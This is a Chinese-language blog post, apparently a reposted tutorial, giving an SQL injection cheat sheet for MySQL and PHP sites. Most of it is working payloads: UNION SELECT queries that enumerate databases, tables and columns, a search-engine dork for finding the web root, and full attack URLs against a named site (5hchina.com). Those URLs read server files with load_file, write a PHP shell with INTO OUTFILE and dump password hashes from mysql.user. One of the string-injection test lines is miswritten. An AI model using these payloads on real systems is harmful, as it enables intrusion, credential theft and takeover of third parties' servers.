您的位置:首页 > 数据库

SQL注入

2016-06-01 20:55 330 查看
1注入类型

   1.1数字型注入

   查询方式:   select * from 表名 where 字段名=数字 

   检测漏洞:   select * from 表名 where 字段名=数字 AND 1=1

                     select * from 表名 where 字段名=数字 AND 1=2

   1.2字符型注入

   查询方式:  select * from 表名 where 字段名='字符'

   检测漏洞:  select * from 表名 where 字段名='字符' AND '1'='1'

                     select * from 表名 where 字段名='字符' AND '1'='1'     

   1.3搜索型注入

   查询方式: select * from 表名 where 字段名 like '%字符%'

   检测漏洞: select * from 表名 where 字段名 like '%字符%'and 1=1 and '%'='%'

select * from 表名 where 字段名 like '%字符%'and 1=2 and '%'='%'

判断字段数: order by 数字

select * from 表名 where 字段名=数字order by 数字

根据返回值判断返回的是哪个字段:select * from 表名 where 字段名=1 union all select 1,2,3

返回 数据库名 用户名等信息:select * from 表名 where 字段名=1 union all selectuser(),database(),3

根据数据库名得到表名(mysql5.0之后的版本可用):

select table_name from information_schema.tables where table_schema = '数据库名'

具体应用:(例子中表有三个字段)

select * from表名where字段名=1 union all select table_name,2,3 from information_schema.tables where table_schema = '数据库名'

根据表名得到字段名(mysql5.0之后的版本可用):

select column_name from information_schema.columns where table_schema='数据库名'
and table_name='表名' ;


具体应用:(例子中表有三个字段):

select * from 表名 where 字段名=1 union all select column_name,2,3 from information_schema.columns where table_schema='数据库名' and table_name='表名'

参考:

version()版本 5.0.27-community-nt

database()数据库名 5hchina

user()当前用户 root 

@@version_compile_os 操作系统 win32

注意地方(获取到网站根路径)
怎么获取到网站根路径?
谷歌黑客 site:5hchina.com warning
文件报错
查看敏感文件 info.php phpinfo.php test.php

编码选择hex编码

如果不编码用''符号表示

符号的 反正型 “/”和“\”

D:\web\5hchina.com\根网站路径

root权限:

1.查看文件获取相关信息 
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,load_file('D:/web/5hchina.com/index.php'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22

一般数据库链接文件:  conn.php common.php config.php

2.导入导出一句话拿shell (into outfile)
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,'aaaa',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'D:/web/5hchina.com/manage/upload/img/2.php'

或者







查询用户名密码:

select * from mysql.user ;

例子:

SELECT * FROM 表名 where 字段名=1 union all select User,Password,3 from mysql.user
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: